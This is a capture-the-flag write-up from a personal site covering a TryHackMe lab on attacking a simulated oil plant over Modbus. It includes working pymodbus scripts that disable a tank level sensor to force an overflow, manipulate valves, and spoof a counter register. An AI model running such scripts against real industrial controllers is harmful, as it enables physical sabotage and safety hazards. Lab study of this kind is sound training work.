siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Attacking ICS Plant #2 | Oct 11, 2022

Introduction

Welcome to my another writeup! In this TryHackMe Attacking ICS Plant #2 room, you’ll learn how to attack ICS plant! Without further ado, let’s dive in.

Background

Discover and attack ICS plants using modbus protocol (Modicon / Schneider Electric).

Difficulty: Medium

Task 1 - Discovery

The room Attacking ICS Plant #1 is a prerequisite. You should complete it and download scripts from there. The same scripts can be used to complete this room.

Before attacking the plant, identify the following registries:

VirtuaPlant can be downloaded from GitHub.

Task 2 - Flag #1

Let the oil overflow the tank for at least 60 seconds. Then connect and get the flag1: http://MACHINE_IP/flag1.txt.

Mind that the simulation should be reset before starting by pressing the ESC button. If the flag cannot be obtained, try to reset the room and start the attack again.

Let’s download the scripts in Attacking ICS Plant #1!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# tar -xf scripts.tar.gz 
                                                                                                 
┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# ls -lah
[...]
-rwxr-xr-x  1  501 staff  513 Sep  2  2020 attack_move_fill2.py
-rwxr-xr-x  1  501 staff  395 Sep  2  2020 attack_move_fill.py
-rwxr-xr-x  1  501 staff  511 Sep  2  2020 attack_shutdown2.py
-rwxr-xr-x  1  501 staff  397 Sep  2  2020 attack_shutdown.py
-rwxr-xr-x  1  501 staff  508 Sep  2  2020 attack_stop_fill2.py
-rwxr-xr-x  1  501 staff  394 Sep  2  2020 attack_stop_fill.py
-rwxr-xr-x  1  501 staff  335 Sep  2  2020 discovery.py
-rw-r--r--  1 nam  nam    701 Oct 10 21:43 scripts.tar.gz
-rwxr-xr-x  1  501 staff  327 Sep  2  2020 set_register.py

VirtualPlant:

Before we overflow the oil tank, we must know which register is belong to which sensor.

To do so, I’ll:

discovery.py:

#!/usr/bin/env python3

import sys
import time
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
from pymodbus.exceptions import ConnectionException

ip = sys.argv[1]
client = ModbusClient(ip, port=502)
client.connect()
while True:
    rr = client.read_holding_registers(1, 16)
    print(rr.registers)
    time.sleep(1)
┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# export RHOSTS=10.10.30.39

┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# python3 discovery.py $RHOSTS         
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[...]

set_register.py:

#!/usr/bin/env python3

import sys
import time
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
from pymodbus.exceptions import ConnectionException

ip = sys.argv[1]
register = int(sys.argv[2])
value = int(sys.argv[3])
client = ModbusClient(ip, port=502)
client.connect()

while True:
        client.write_register(register, value)
┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# python3 set_register.py $RHOSTS 1 1
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[...]

Looks like the first register can turn on the Feed Pump!

When the oil reaches to the Tank Level Sensor, the Feep Pump will be turn off, and the Outlet Valve will be turn on.

[...]
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0]
[...]

Looks like the second register is the Tank Level Sensor! Let’s turn that off!

To do so, I’ll:

attack_oil_overflow.py:

#!/usr/bin/env python3

import sys
import time
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
from pymodbus.exceptions import ConnectionException

ip = sys.argv[1]
client = ModbusClient(ip, port=502)
client.connect()

while True:
  client.write_register(1, 1)  # Open Feed Pump
  client.write_register(2, 0)  # Turn off Tank Level Sensor
┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# python3 attack_oil_overflow.py $RHOSTS

┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# curl http://$RHOSTS/flag1.txt
{Redacted}

Task 3 - Flag #2

Let the oil flow through the waste water valve only. Wait until the counter reaches 2000. Then connect and get the flag2: [http://MACHINE_IP/flag2.txt.

Mind that the simulation should be reset before starting by pressing the ESC button. If the flag cannot be obtained, try to reset the room and start the attack again.

Now, we know the Feed Pump and Tank Level Sensor is using which register, but we don’t know the rest.

To figure out the Outlet Valve, Separator Vessel Valve and Waste Water Valve, I’ll:

According to my observation, it seems like the third one is the Outlet Valve register (0 = stop, 1 = open), the sixth one is the Separator Vessel Valve register(0 = open, 1 = close), the seventh one is the amount of drops that went through the Waste Water Valve.

Armed with this information, we can obtain the flag in 2 ways:

1. Easier way

┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# python3 set_register.py $RHOSTS 7 2001
┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# curl http://$RHOSTS/flag2.txt
{Redacted}

2. Hard way

#!/usr/bin/env python3

import sys
import time
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
from pymodbus.exceptions import ConnectionException

ip = sys.argv[1]
client = ModbusClient(ip, port=502)
client.connect()
while True:
  client.write_register(1, 1)  # Open Feed Pump
  client.write_register(2, 0)  # Turn off Tank Level Sensor
  client.write_register(3, 1)  # Open Outlet Valve
  client.write_register(7, 1)  # Close Seperator Vessel Valve
┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# python3 attack_waste_water.py $RHOSTS

[1, 0, 1, 1, 1, 1, 2001, 1, 0, 0, 0, 0, 0, 0, 0, 0]
┌──(root🌸siunam)-[~/ctf/thm/ctf/Attacking-ICS-Plant-#2]
└─# curl http://$RHOSTS/flag2.txt
{Redacted}

Conclusion

What we’ve learned:

  1. Attacking ICS Plant